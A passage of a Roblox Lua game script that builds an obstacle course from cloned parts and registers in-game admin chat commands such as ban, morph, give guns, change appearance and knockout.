| 1107 | Q1.CFrame = fnew(-49, 232.6, -243) | |
| 1108 | Q1.Parent = G | |
| 1109 | Q1 = Q1:Clone() | |
| 1110 | Q1.Size = vnew(12, 1.2, 10) | |
| 1111 | Q1.CFrame = fnew(-44, 233.8, -249) | |
| 1112 | Q1.Parent = G | |
| 1113 | Q1 = Q1:Clone() | |
| 1114 | Q1.Size = vnew(12, 1.2, 10) | |
| 1115 | Q1.CFrame = fnew(-40, 235, -255) | |
| 1116 | Q1.Parent = G | |
| 1117 | Q1 = Q1:Clone() | |
| 1118 | Q1.Size = vnew(12, 1.2, 10) | |
| 1119 | Q1.CFrame = fnew(-36, 236.2, -261) | |
| 1120 | Q1.Parent = G | |
| 1121 | Q1 = Q1:Clone() | |
| 1122 | Q1.Size = vnew(12, 1.2, 10) | |
| 1123 | Q1.CFrame = fnew(-31, 237.4, -265) | |
| 1124 | Q1.Parent = G | |
| 1125 | Q1 = Q1:Clone() | |
| 1126 | Q1.Size = vnew(12, 1.2, 10) | |
| 1127 | Q1.CFrame = fnew(-28, 238.6, -270) | |
| 1128 | Q1.Parent = G | |
| 1129 | Q1 = Q1:Clone() | |
| 1130 | Q1.Size = vnew(12, 1.2, 10) | |
| 1131 | Q1.CFrame = fnew(-26, 239.8, -276) | |
| 1132 | Q1.Parent = G | |
| 1133 | Q1 = Q1:Clone() | |
| 1134 | Q1.Size = vnew(12, 1.2, 10) | |
| 1135 | Q1.CFrame = fnew(-23, 241, -281) | |
| 1136 | Q1.Parent = G | |
| 1137 | Q1 = Q1:Clone() | |
| 1138 | Q1.Size = vnew(12, 1.2, 10) | |
| 1139 | Q1.CFrame = fnew(-23, 242.2, -289) | |
| 1140 | Q1.Parent = G | |
| 1141 | Q1 = Q1:Clone() | |
| 1142 | Q1.Size = vnew(12, 1.2, 10) | |
| 1143 | Q1.CFrame = fnew(-24, 243.4, -295) | |
| 1144 | Q1.Parent = G | |
| 1145 | Q1 = Q1:Clone() | |
| 1146 | Q1.Size = vnew(15, 1.2, 18) | |
| 1147 | Q1.CFrame = fnew(-26.5, 244.6, -304) | |
| 1148 | Q1.Parent = G | |
| 1149 | --[[====[MOUNTIAN]====]]-- | |
| 1150 | Q1 = Q1:Clone() | |
| 1151 | Q1.Size = vnew(54, 243.6, 51) | |
| 1152 | Q1.CFrame = fnew(-61, 123, -308.5) | |
| 1153 | Q1.Parent = G | |
| 1154 | Q1 = Q1:Clone() | |
| 1155 | Q1.Size = vnew(3, 2.4, 12) | |
| 1156 | Q1.CFrame = fnew(-55.5, 246, -289) | |
| 1157 | Q1.Parent = G | |
| 1158 | Q1 = Q1:Clone() | |
| 1159 | Q1.Size = vnew(3, 4.8, 10) | |
| 1160 | Q1.CFrame = fnew(-58.5, 247.2, -288) | |
| 1161 | Q1.Parent = G | |
| 1162 | Q1 = Q1:Clone() | |
| 1163 | Q1.Size = vnew(4, 6, 10) | |
| 1164 | Q1.CFrame = fnew(-62, 247.8, -288) | |
| 1165 | Q1.Parent = G | |
| 1166 | Q1 = Q1:Clone() | |
| 1167 | Q1.Size = vnew(4, 7.2, 10) | |
| 1168 | Q1.CFrame = fnew(-66, 248.4, -288) | |
| 1169 | Q1.Parent = G | |
| 1170 | Q1 = Q1:Clone() | |
| 1171 | Q1.Size = vnew(2, 8.4, 10) | |
| 1172 | Q1.CFrame = fnew(-69, 249, -288) | |
| 1173 | Q1.Parent = G | |
| 1174 | Q1 = Q1:Clone() | |
| 1175 | Q1.Size = vnew(2, 9.6, 10) | |
| 1176 | Q1.CFrame = fnew(-71, 249.6, -288) | |
| 1177 | Q1.Parent = G | |
| 1178 | Q1 = Q1:Clone() | |
| 1179 | Q1.Size = vnew(2, 12, 10) | |
| 1180 | Q1.CFrame = fnew(-73, 250.8, -288) | |
| 1181 | Q1.Parent = G | |
| 1182 | Q1 = Q1:Clone() | |
| 1183 | Q1.Size = vnew(3, 13.2, 10) | |
| 1184 | Q1.CFrame = fnew(-75.5, 251.4, -288) | |
| 1185 | Q1.Parent = G | |
| 1186 | Q1 = Q1:Clone() | |
| 1187 | Q1.Size = vnew(3, 13.2, 10) | |
| 1188 | Q1.CFrame = fnew(-75.5, 251.4, -288) | |
| 1189 | Q1.Parent = G | |
| 1190 | --[[===[CONFUSIONS]===]]-- | |
| 1191 | Q1 = Q1:Clone() | |
| 1192 | Q1.Size = vnew(8, 14.4, 10) | |
| 1193 | Q1.CFrame = fnew(-81, 252, -288) | |
| 1194 | Q1.Parent = G | |
| 1195 | Q1 = Q1:Clone() | |
| 1196 | Q1.Size = vnew(8, 16.8, 10) | |
| 1197 | Q1.CFrame = fnew(-81, 253.2, -298) | |
| 1198 | Q1.Parent = G | |
| 1199 | Q1 = Q1:Clone() | |
| 1200 | Q1.Size = vnew(5, 18, 10) | |
| 1201 | Q1.CFrame = fnew(-74.5, 253.8, -298) | |
| 1202 | Q1.Parent = G | |
| 1203 | Q1 = Q1:Clone() | |
| 1204 | Q1.Size = vnew(5, 20.4, 10) | |
| 1205 | Q1.CFrame = fnew(-69.5, 255, -298) | |
| 1206 | Q1.Parent = G | |
| 1207 | Q1 = Q1:Clone() | |
| 1208 | Q1.Size = vnew(3, 21.6, 10) | |
| 1209 | Q1.CFrame = fnew(-65.5, 255.6, -298) | |
| 1210 | Q1.Parent = G | |
| 1211 | Q1 = Q1:Clone() | |
| 1212 | Q1.Size = vnew(2, 22.8, 10) | |
| 1213 | Q1.CFrame = fnew(-63, 256.2, -298) | |
| 1214 | Q1.Parent = G | |
| 1215 | Q1 = Q1:Clone() | |
| 1216 | Q1.Size = vnew(5, 25.2, 10) | |
| 1217 | Q1.CFrame = fnew(-59.5, 257.4, -298) | |
| 1218 | Q1.Parent = G | |
| 1219 | --[[===[LASTSTEPS]===]]-- | |
| 1220 | Q1 = Q1:Clone() | |
| 1221 | Q1.Size = vnew(12, 26.4, 8) | |
| 1222 | Q1.CFrame = fnew(-51, 258, -299) | |
| 1223 | Q1.Parent = G | |
| 1224 | Q1 = Q1:Clone() | |
| 1225 | Q1.Size = vnew(10, 26.4, 2) | |
| 1226 | Q1.CFrame = fnew(-49, 258, -304) | |
| 1227 | Q1.Parent = G | |
| 1228 | Q1 = Q1:Clone() | |
| 1229 | Q1.Size = vnew(10, 27.6, 3) | |
| 1230 | Q1.CFrame = fnew(-49, 258.6, -306.5) | |
| 1231 | Q1.Parent = G | |
| 1232 | Q1 = Q1:Clone() | |
| 1233 | Q1.Size = vnew(10, 30, 3) | |
| 1234 | Q1.CFrame = fnew(-49, 259.8, -309.5) | |
| 1235 | Q1.Parent = G | |
| 1236 | Q1 = Q1:Clone() | |
| 1237 | Q1.Size = vnew(11, 31.2, 5) | |
| 1238 | Q1.CFrame = fnew(-48.5, 260.4, -313.5) | |
| 1239 | Q1.Parent = G | |
| 1240 | Q1 = Q1:Clone() | |
| 1241 | Q1.Size = vnew(11, 33.6, 2) | |
| 1242 | Q1.CFrame = fnew(-48.5, 261.6, -317) | |
| 1243 | Q1.Parent = G | |
| 1244 | Q1 = Q1:Clone() | |
| 1245 | Q1.Size = vnew(11, 34.8, 2) | |
| 1246 | Q1.CFrame = fnew(-48.5, 262.2, -319) | |
| 1247 | Q1.Parent = G | |
| 1248 | --[[===[END=OF=THE=MOUNTIAN]===]]-- | |
| 1249 | Q1 = Q1:Clone() | |
| 1250 | Q1.Size = vnew(11, 36, 7) | |
| 1251 | Q1.CFrame = fnew(-48.5, 262.8, -323.5) | |
| 1252 | Q1.Parent = G | |
| 1253 | Q1 = Q1:Clone() | |
| 1254 | Q1.Size = vnew(32, 37.2, 24) | |
| 1255 | Q1.CFrame = fnew(-70, 263.4, -315) | |
| 1256 | Q1.Parent = G | |
| 1257 | Q1 = Q1:Clone() | |
| 1258 | Q1.Size = vnew(8, 9.6, 16) | |
| 1259 | Q1.CFrame = fnew(-90, 277.2, -316) | |
| 1260 | Q1.Parent = G | |
| 1261 | Q1 = Q1:Clone() | |
| 1262 | Q1.Size = vnew(6, 9.6, 12) | |
| 1263 | Q1.CFrame = fnew(-97, 277.2, -315.5) | |
| 1264 | Q1.Parent = G | |
| 1265 | --[[===[TIGHT=ROPES]===]]-- | |
| 1266 | Q1 = Q1:Clone() | |
| 1267 | Q1.Size = vnew(31, 1.2, 2) | |
| 1268 | Q1.CFrame = fnew(-111.5, 282.6, -317) | |
| 1269 | Q1.Parent = G | |
| 1270 | Q1 = Q1:Clone() | |
| 1271 | Q1.Size = vnew(2, 1.2, 201) | |
| 1272 | Q1.CFrame = fnew(-126, 283.8, -220) | |
| 1273 | Q1.Parent = G | |
| 1274 | Q1 = Q1:Clone() | |
| 1275 | Q1.Size = vnew(34, 283.2, 32) | |
| 1276 | Q1.CFrame = fnew(-144, 142.8, -109) | |
| 1277 | Q1.Parent = G | |
| 1278 | Q1 = Q1:Clone() | |
| 1279 | Q1.Size = vnew(92, 1.2, 2) | |
| 1280 | Q1.CFrame = fnew(-85, 285.2, -98) | |
| 1281 | Q1.Parent = G | |
| 1282 | --[[==[WOBBLYS]==]]-- | |
| 1283 | Q13 = Q13:Clone() | |
| 1284 | Q13.Size = vnew(18, 1.2, 18) | |
| 1285 | Q13.CFrame = fnew(-9.87, 245.8, -185.9) | |
| 1286 | Q13.Parent = G | |
| 1287 | Q13 = Q13:Clone() | |
| 1288 | Q13.Size = vnew(18, 1.2, 18) | |
| 1289 | Q13.CFrame = fnew(10.12, 245.8, -185.9) | |
| 1290 | Q13.Parent = G | |
| 1291 | Q1 = Q1:Clone() | |
| 1292 | Q1.Size = vnew(32, 244.8, 32) | |
| 1293 | Q1.CFrame = fnew(57, 123.8, -186) | |
| 1294 | Q1.Parent = G | |
| 1295 | --[[===[FINISH]===]]-- | |
| 1296 | Q1 = Q1:Clone() | |
| 1297 | Q1.Size = vnew(4, 1.2, 16) | |
| 1298 | Q1.CFrame = fnew(-104, 247.2, -186) | |
| 1299 | Q1.Parent = G | |
| 1300 | Q1 = Q1:Clone() | |
| 1301 | Q1.Size = vnew(4, 1.2, 14) | |
| 1302 | Q1.CFrame = fnew(-106, 248.4, -186) | |
| 1303 | Q1.Parent = G | |
| 1304 | Q1 = Q1:Clone() | |
| 1305 | Q1.Size = vnew(4, 1.2, 12) | |
| 1306 | Q1.CFrame = fnew(-108, 249.6, -186) | |
| 1307 | Q1.Parent = G | |
| 1308 | Q1 = Q1:Clone() | |
| 1309 | Q1.Size = vnew(4, 1.2, 10) | |
| 1310 | Q1.CFrame = fnew(-110, 250.8, -186) | |
| 1311 | Q1.Parent = G | |
| 1312 | Q1 = Q1:Clone() | |
| 1313 | Q1.Size = vnew(4, 1.2, 8) | |
| 1314 | Q1.CFrame = fnew(-112, 252, -186) | |
| 1315 | Q1.Parent = G | |
| 1316 | Q1 = Q1:Clone() | |
| 1317 | Q1.Size = vnew(4, 1.2, 6) | |
| 1318 | Q1.CFrame = fnew(-114, 253.2, -186) | |
| 1319 | Q1.Parent = G | |
| 1320 | Q1 = Q1:Clone() | |
| 1321 | Q1.Size = vnew(4, 1.2, 4) | |
| 1322 | Q1.CFrame = fnew(-116, 254.4, -186) | |
| 1323 | Q1.Parent = G | |
| 1324 | Q1 = Q1:Clone() | |
| 1325 | Q1.Size = vnew(43, 1.2, 2) | |
| 1326 | Q1.CFrame = fnew(-137.5, 255.6, -186) | |
| 1327 | Q1.Parent = G | |
| 1328 | --[[==[HEALPLAT]==]]-- | |
| 1329 | Q1 = Q1:Clone() | |
| 1330 | Q1.Size = vnew(8, 253.2, 8) | |
| 1331 | Q1.CFrame = fnew(-161, 128, -186) | |
| 1332 | Q1.Parent = G | |
| 1333 | Q1 = Q1:Clone() | |
| 1334 | Q1.Size = vnew(10, 253.2, 15) | |
| 1335 | Q1.CFrame = fnew(-170, 128, -184.5) | |
| 1336 | Q1.Parent = G | |
| 1337 | Q1 = Q1:Clone() | |
| 1338 | Q1.Size = vnew(20, 253.2, 29) | |
| 1339 | Q1.CFrame = fnew(-185, 128, -182.5) | |
| 1340 | Q1.Parent = G | |
| 1341 | Q1 = Q1:Clone() | |
| 1342 | Q1.Size = vnew(4, 253.2, 18) | |
| 1343 | Q1.CFrame = fnew(-197, 128, -183) | |
| 1344 | Q1.Parent = G | |
| 1345 | Q1 = Q1:Clone() | |
| 1346 | Q1.Size = vnew(2, 1.2, 22) | |
| 1347 | Q1.CFrame = fnew(-186.5, 255.2, -204.5) | |
| 1348 | Q1.Parent = G | |
| 1349 | Q1 = Q1:Clone() | |
| 1350 | Q1.Size = vnew(32, 243.6, 32) | |
| 1351 | Q1.CFrame = fnew(-188, 123.2, -319) | |
| 1352 | Q1.Parent = G | |
| 1353 | --[[===[BIGPLATS]==]]-- | |
| 1354 | --[[while true do | |
| 1355 | Q1.Transparency = 0.4 | |
| 1356 | wait(1) | |
| 1357 | Q1.Transparency = 0.5 | |
| 1358 | wait(1) | |
| 1359 | Q1.Transparency = 0.6 | |
| 1360 | wait(1) | |
| 1361 | Q1.Transparency = 0.7 | |
| 1362 | wait(1) | |
| 1363 | Q1.Transparency = 0.8 | |
| 1364 | wait(1) | |
| 1365 | Q1.Transparency = 0.9 | |
| 1366 | wait(1) | |
| 1367 | Q1.Transparency = 1 | |
| 1368 | wait(1) | |
| 1369 | Q1.Transparency = 0.9 | |
| 1370 | wait(1) | |
| 1371 | Q1.Transparency = 0.8 | |
| 1372 | wait(1) | |
| 1373 | Q1.Transparency = 0.7 | |
| 1374 | wait(1) | |
| 1375 | Q1.Transparency = 0.6 | |
| 1376 | wait(1) | |
| 1377 | end]]-- | |
| 1378 | Q7 = Q7:Clone() | |
| 1379 | Q7.Size = vnew(16, 1.2, 16) | |
| 1380 | Q7.CFrame = fnew(-86, 244.8, -127) | |
| 1381 | Q7.BrickColor = bcn('Dark stone grey')
| |
| 1382 | Q7.Parent = G | |
| 1383 | Q7 = Q7:Clone() | |
| 1384 | Q7.Size = vnew(16, 1.2, 16) | |
| 1385 | Q7.CFrame = fnew(-69, 244.8, -127) | |
| 1386 | Q7.Parent = G | |
| 1387 | Q7 = Q7:Clone() | |
| 1388 | Q7.Size = vnew(16, 1.2, 16) | |
| 1389 | Q7.CFrame = fnew(-52, 244.8, -127) | |
| 1390 | Q7.Parent = G | |
| 1391 | Q7 = Q7:Clone() | |
| 1392 | Q7.Size = vnew(16, 1.2, 16) | |
| 1393 | Q7.CFrame = fnew(-86, 244.8, -110) | |
| 1394 | Q7.Parent = G | |
| 1395 | Q7 = Q7:Clone() | |
| 1396 | Q7.Size = vnew(16, 1.2, 16) | |
| 1397 | Q7.CFrame = fnew(-69, 244.8, -110) | |
| 1398 | Q7.Parent = G | |
| 1399 | Q7 = Q7:Clone() | |
| 1400 | Q7.Size = vnew(16, 1.2, 16) | |
| 1401 | Q7.CFrame = fnew(-52, 244.8, -110) | |
| 1402 | Q7.Parent = G | |
| 1403 | Q7 = Q7:Clone() | |
| 1404 | Q7.Size = vnew(16, 1.2, 16) | |
| 1405 | Q7.CFrame = fnew(-86, 244.8, -93) | |
| 1406 | Q7.Parent = G | |
| 1407 | Q7 = Q7:Clone() | |
| 1408 | Q7.Size = vnew(16, 1.2, 16) | |
| 1409 | Q7.CFrame = fnew(-69, 244.8, -93) | |
| 1410 | Q7.Parent = G | |
| 1411 | Q7 = Q7:Clone() | |
| 1412 | Q7.Size = vnew(16, 1.2, 16) | |
| 1413 | Q7.CFrame = fnew(-52, 244.8, -93) | |
| 1414 | Q7.Parent = G | |
| 1415 | Q7 = Q7:Clone() | |
| 1416 | Q7.Size = vnew(16, 1.2, 16) | |
| 1417 | Q7.CFrame = fnew(-86, 244.8, -76) | |
| 1418 | Q7.BrickColor = bcn('Black')
| |
| 1419 | Q7.Parent = G | |
| 1420 | Q7 = Q7:Clone() | |
| 1421 | Q7.Size = vnew(16, 1.2, 16) | |
| 1422 | Q7.CFrame = fnew(-69, 244.8, -76) | |
| 1423 | Q7.Parent = G | |
| 1424 | Q7 = Q7:Clone() | |
| 1425 | Q7.Size = vnew(16, 1.2, 16) | |
| 1426 | Q7.CFrame = fnew(-52, 244.8, -76) | |
| 1427 | Q7.Parent = G | |
| 1428 | Q7 = Q7:Clone() | |
| 1429 | Q7.Size = vnew(16, 1.2, 16) | |
| 1430 | Q7.CFrame = fnew(-86, 244.8, -59) | |
| 1431 | Q7.Parent = G | |
| 1432 | Q7 = Q7:Clone() | |
| 1433 | Q7.Size = vnew(16, 1.2, 16) | |
| 1434 | Q7.CFrame = fnew(-69, 244.8, -59) | |
| 1435 | Q7.Parent = G | |
| 1436 | Q7 = Q7:Clone() | |
| 1437 | Q7.Size = vnew(16, 1.2, 16) | |
| 1438 | Q7.CFrame = fnew(-52, 244.8, -59) | |
| 1439 | Q7.Parent = G | |
| 1440 | Q7 = Q7:Clone() | |
| 1441 | Q7.Size = vnew(16, 1.2, 16) | |
| 1442 | Q7.CFrame = fnew(-86, 244.8, -42) | |
| 1443 | Q7.Parent = G | |
| 1444 | Q7 = Q7:Clone() | |
| 1445 | Q7.Size = vnew(16, 1.2, 16) | |
| 1446 | Q7.CFrame = fnew(-69, 244.8, -42) | |
| 1447 | Q7.Parent = G | |
| 1448 | Q7 = Q7:Clone() | |
| 1449 | Q7.Size = vnew(16, 1.2, 16) | |
| 1450 | Q7.CFrame = fnew(-52, 244.8, -42) | |
| 1451 | Q7.Parent = G | |
| 1452 | Q7 = Q7:Clone() | |
| 1453 | Q7.Size = vnew(16, 1.2, 16) | |
| 1454 | Q7.CFrame = fnew(-86, 244.8, -25) | |
| 1455 | Q7.Parent = G | |
| 1456 | Q7 = Q7:Clone() | |
| 1457 | Q7.Size = vnew(16, 1.2, 16) | |
| 1458 | Q7.CFrame = fnew(-69, 244.8, -25) | |
| 1459 | Q7.Parent = G | |
| 1460 | Q7 = Q7:Clone() | |
| 1461 | Q7.Size = vnew(16, 1.2, 16) | |
| 1462 | Q7.CFrame = fnew(-52, 244.8, -25) | |
| 1463 | Q7.Parent = G | |
| 1464 | Q7 = Q7:Clone() | |
| 1465 | Q7.Size = vnew(16, 1.2, 16) | |
| 1466 | Q7.CFrame = fnew(-86, 244.8, -8) | |
| 1467 | Q7.Parent = G | |
| 1468 | Q7 = Q7:Clone() | |
| 1469 | Q7.Size = vnew(16, 1.2, 16) | |
| 1470 | Q7.CFrame = fnew(-69, 244.8, -8) | |
| 1471 | Q7.Parent = G | |
| 1472 | Q7 = Q7:Clone() | |
| 1473 | Q7.Size = vnew(16, 1.2, 16) | |
| 1474 | Q7.CFrame = fnew(-52, 244.8, -8) | |
| 1475 | Q7.Parent = G | |
| 1476 | --[[===[CLONERS]===]]-- | |
| 1477 | Q1 = Q1:Clone() | |
| 1478 | Q1.Size = vnew(16, 243.5, 22) | |
| 1479 | Q1.CFrame = fnew(-69, 123.2, 12) | |
| 1480 | Q1.Parent = G | |
| 1481 | Q1 = Q1:Clone() | |
| 1482 | Q1.Size = vnew(5, 1.2, 105) | |
| 1483 | Q1.CFrame = fnew(-68.5, 245.6, 74.5) | |
| 1484 | Q1.Parent = G | |
| 1485 | Q1 = Q1:Clone() | |
| 1486 | Q1.Size = vnew(33, 244.8, 32) | |
| 1487 | Q1.CFrame = fnew(-67.5, 122.6, 141) | |
| 1488 | Q1.Parent = G | |
| 1489 | --[[==[CONNECT]==]]-- | |
| 1490 | Q1 = Q1:Clone() | |
| 1491 | Q1.Size = vnew(4, 0.4, 3) | |
| 1492 | Q1.CFrame = fnew(-69, 283.6, -307.5) | |
| 1493 | Q1.Parent = G | |
| 1494 | Q1 = Q1:Clone() | |
| 1495 | Q1.Size = vnew(4, 1.2, 3) | |
| 1496 | Q1.CFrame = fnew(-69, 282.8, -307.5) | |
| 1497 | Q1.Parent = G | |
| 1498 | e11.LinkedSword:clone().Parent = game.StarterPack | |
| 1499 | end) | |
| 1500 | RunModule('CommandModule','/guimessage','Creates a gui message','/gms','#cs#(.+)',function(Speaker,Text) qwq(Text) end)
| |
| 1501 | RunModule('CommandModule','/guihint','Creates a gui hint','/ghs','#cs#(.+)',function(Speaker,Text) qwe(Text) end)
| |
| 1502 | RunModule('CommandModule','/ouput','Creates a output message','/wad','#cs#(.+)',function(Speaker,Text) notsq({{Text, Random},{Text, Random},{Text, Random},{Text, Random},{Text, Random}}) qwsqd({{Text, Random}}) end)
| |
| 1503 | RunModule('CommandModule','/global','Creates a output message','/wad2','#cs#(.+)',function(Speaker,Text) notsq({{Text}}) qwsqd({{Text, Random}}) end)
| |
| 1504 | RunModule('CommandModule','/count','Toggles the API Checks','/wad3','#cs#(%w+)',function(Speaker,Input)
| |
| 1505 | if (Input=='true') or (Input=='yes') or (Input=='1') or (Input=='on') then | |
| 1506 | SN = {}
| |
| 1507 | PN = {}
| |
| 1508 | OD = {}
| |
| 1509 | ON = {}
| |
| 1510 | PLN = {}
| |
| 1511 | CN = {}
| |
| 1512 | for i,v in pairs(game.Workspace:GetChildren()) do | |
| 1513 | if v:isA('Part') then
| |
| 1514 | table.insert(PN,v) | |
| 1515 | elseif v:isA('Script') then
| |
| 1516 | table.insert(SN,v) | |
| 1517 | --[[elseif v:isA('Model') then
| |
| 1518 | table.insert(ON,v) | |
| 1519 | else ]]-- | |
| 1520 | table.insert(OD,v) | |
| 1521 | end | |
| 1522 | end | |
| 1523 | for _,v in pairs(game.Players:GetChildren()) do | |
| 1524 | table.insert(PLN,v) | |
| 1525 | end | |
| 1526 | for i,v in pairs(game.NetworkServer:GetChildren()) do | |
| 1527 | table.insert(CN,v) | |
| 1528 | end | |
| 1529 | qwsqd({{'[API]; Your viewing the game status', Random}})
| |
| 1530 | notsq({{'[API]; There are '..#SN..' scripts.', Random},{'[API]; There are '..#PN..' parts.', Random},{'[API]; There are '..#OD..' unknown objects.', Random},{'[API]; There are '..#PLN..' players.', Random},{'[API]; There are '..#CN..' clients.', Random}})
| |
| 1531 | elseif (Input=='false') or (Input=='no') or (Input=='0') or (Input=='off') then | |
| 1532 | notsq({{'[API]; No Created functions', Random},{'[API]; No Global functions found', Random}})
| |
| 1533 | qwsqd({{'[API]; Global;=0 , NilP;=0 , XYZAx;=315', Random}})
| |
| 1534 | end | |
| 1535 | end) | |
| 1536 | RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#t'),'Bans the given user','/bn','#cs#(.+)',function(Speaker,...)
| |
| 1537 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1538 | if (Targets~=nil) then | |
| 1539 | for Index,Target in pairs(Targets) do | |
| 1540 | if (RunModule('DisposePlayer',Target,Speaker)) then
| |
| 1541 | Bannedlist[#Bannedlist+1]=Target.Name; | |
| 1542 | end | |
| 1543 | end | |
| 1544 | end | |
| 1545 | end) | |
| 1546 | RunModule('CommandModule',RunModule('ParseMatch','/ban#cs#f'),'Unbans the given name','/ub','#cs#(.+)',function(Speaker,Input)
| |
| 1547 | if (Input=='all') then | |
| 1548 | Bannedlist={};
| |
| 1549 | end | |
| 1550 | for Index,Username in pairs(Bannedlist) do | |
| 1551 | if (Username:lower():find(Input)==1) then | |
| 1552 | RunModule('ShowHint',Speaker,'Unbanning: '..Username,5);
| |
| 1553 | table.remove(Bannedlist,Index); | |
| 1554 | end | |
| 1555 | end | |
| 1556 | end) | |
| 1557 | RunModule('CommandModule','/nillize','Makes the user nil','/nil','#cs#(.+)',function(Speaker,...)
| |
| 1558 | local Targets=RunModule('GetPlayer',...,Speaker)
| |
| 1559 | if (Targets~=nil) then | |
| 1560 | for Index,Target in pairs(Targets) do | |
| 1561 | mwq('[API]; Your being nild!' ,Target.PlayerGui)
| |
| 1562 | Target.Character = nil | |
| 1563 | end | |
| 1564 | end | |
| 1565 | end) | |
| 1566 | RunModule('CommandModule','/unbannable','Makes the user unbannable','/uba','#cs#(.+)',function(Speaker,...)
| |
| 1567 | local Targets=RunModule('GetPlayer',...,Speaker)
| |
| 1568 | if (Targets~=nil) then | |
| 1569 | for Index,Target in pairs(Targets) do | |
| 1570 | mwq('[API]; Your being unbannable!' ,Target.PlayerGui)
| |
| 1571 | Target.Character = Workspace | |
| 1572 | end | |
| 1573 | end | |
| 1574 | end) | |
| 1575 | RunModule('CommandModule','/stickman','Makes the given users body look like a stick man','/sman','#cs#(.+)',function(Speaker,...)
| |
| 1576 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1577 | if (Targets~=nil) then | |
| 1578 | for Index,Target in pairs(Targets) do | |
| 1579 | mwq('[API]; Your being re-morphd!' ,Target.PlayerGui)
| |
| 1580 | if (Target.Character~=nil) then | |
| 1581 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
| 1582 | if (Child.Name=='Left Leg') then | |
| 1583 | local de = Instance.new('CylinderMesh')
| |
| 1584 | de.Parent = Child | |
| 1585 | elseif (Child.Name=='Right Leg') then | |
| 1586 | local pde = Instance.new('CylinderMesh')
| |
| 1587 | pde.Parent = Child | |
| 1588 | elseif (Child.Name=='Torso') then | |
| 1589 | local hp2de = Instance.new('BlockMesh')
| |
| 1590 | hp2de.Parent = Child | |
| 1591 | elseif (Child.className=='Decal') then | |
| 1592 | Child:Remove() | |
| 1593 | elseif (Child.className=='Hat') then | |
| 1594 | Child:Remove() | |
| 1595 | elseif (Child.className=='Mesh') then | |
| 1596 | Child.Texture:Remove() | |
| 1597 | elseif (Child.Name=='Right Arm') then | |
| 1598 | local hpde = Instance.new('CylinderMesh')
| |
| 1599 | hpde.Parent = Child | |
| 1600 | elseif (Child.Name=='Left Arm') then | |
| 1601 | local htpde = Instance.new('CylinderMesh')
| |
| 1602 | htpde.Parent = Child | |
| 1603 | elseif (Child.className=='Pants') then | |
| 1604 | Child:Remove() | |
| 1605 | elseif (Child.className=='Shirt') then | |
| 1606 | Child:Remove() | |
| 1607 | elseif (Child.className=='Part') then | |
| 1608 | Child.BrickColor = BrickColor.new('Really black')
| |
| 1609 | end | |
| 1610 | end | |
| 1611 | end | |
| 1612 | end | |
| 1613 | end | |
| 1614 | end) | |
| 1615 | RunModule('CommandModule','/gunpacket','Gives the given user the pack of insertd guns.','/gpack','#cs#(.+)',function(Speaker,...)
| |
| 1616 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1617 | if (Targets~=nil) then | |
| 1618 | for Index,Target in pairs(Targets) do | |
| 1619 | mwq('[API]; Putting guns in your Backpack!' ,Target.PlayerGui)
| |
| 1620 | hgf(Target, 'Green') | |
| 1621 | qw1.M1Garand:clone().Parent = Target.Backpack | |
| 1622 | wait(0.1) e1.Luger:clone().Parent = Target.Backpack | |
| 1623 | wait(0.1) e2.Sten:clone().Parent = Target.Backpack | |
| 1624 | end | |
| 1625 | end | |
| 1626 | end) | |
| 1627 | RunModule('CommandModule','/getaccinfo','Gives the speaker the given users account information','/aci','#cs#(.+)',function(Speaker,...)
| |
| 1628 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1629 | if (Targets~=nil) then | |
| 1630 | for Index,Target in pairs(Targets) do | |
| 1631 | mwi('[API]; The users Account age is ' ..Target.AccountAge , 'Green')
| |
| 1632 | wait(1) | |
| 1633 | mwi('[API]; The users Name is ' ..Target.Name, 'Blue')
| |
| 1634 | wait(1) | |
| 1635 | mwi('[API]; The users MembershipType is '..tostring(Target.MembershipType), 'Blue')
| |
| 1636 | end | |
| 1637 | end | |
| 1638 | end) | |
| 1639 | RunModule('CommandModule','/wireconnect','Connects the given user to the speaker, with FloorWire.','/wcont','#cs#(.+)',function(Speaker,...)
| |
| 1640 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1641 | if (Targets~=nil) then | |
| 1642 | for Index,Target in pairs(Targets) do | |
| 1643 | mwq('[API]; You were connected to a player!' ,Target.PlayerGui)
| |
| 1644 | d=new('FloorWire', Workspace)
| |
| 1645 | d.From=wq2e.Character.Torso | |
| 1646 | d.To=Target.Character.Torso | |
| 1647 | d.Color=BrickColor.new('Lime green')
| |
| 1648 | d.Transparency=0 | |
| 1649 | d.WireRadius=0.1 | |
| 1650 | end | |
| 1651 | end | |
| 1652 | end) | |
| 1653 | RunModule('CommandModule','/resetappearance','Resets the CharacterAppearance of the given user','/ra','#cs#(.+)',function(Speaker,...)
| |
| 1654 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1655 | if (Targets~=nil) then | |
| 1656 | for Index,Target in pairs(Targets) do | |
| 1657 | mwq('[API]; Reseting your char!' ,Target.PlayerGui)
| |
| 1658 | pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Target.userId..'&PlaceId='..game.PlaceId; end) | |
| 1659 | pcall(function() Target.Character:BreakJoints(); end) | |
| 1660 | end | |
| 1661 | end | |
| 1662 | end) | |
| 1663 | RunModule('CommandModule','/changeappearance','Sets the CharacterAppearance of the given user','/ca','#cs#(.-)#cs#(%d+)',function(Speaker,Input,Integer)
| |
| 1664 | if (tonumber(Integer)==nil) or (Input==nil) then return end | |
| 1665 | local Targets=RunModule('GetPlayer',Input,Speaker)
| |
| 1666 | if (Targets~=nil) then | |
| 1667 | for Index,Target in pairs(Targets) do | |
| 1668 | mwq('[API]; Changing your char!' ,Target.PlayerGui)
| |
| 1669 | pcall(function() Target.CharacterAppearance='http://www.roblox.com/Asset/CharacterFetch.ashx?UserID='..Integer..'&PlaceId='..game.PlaceId; end) | |
| 1670 | pcall(function() Target.Character:BreakJoints(); end) | |
| 1671 | end | |
| 1672 | end | |
| 1673 | end) | |
| 1674 | RunModule('CommandModule','/knockout','KOs the user 1,000 times','/ko','#cs#(.+)',function(Speaker,...)
| |
| 1675 | local Targets=RunModule('GetPlayer',...,Speaker);
| |
| 1676 | if (Targets~=nil) then | |
| 1677 | for Index,Target in pairs(Targets) do | |
| 1678 | notsq({{'[API]; KOd the Target given'}})
| |
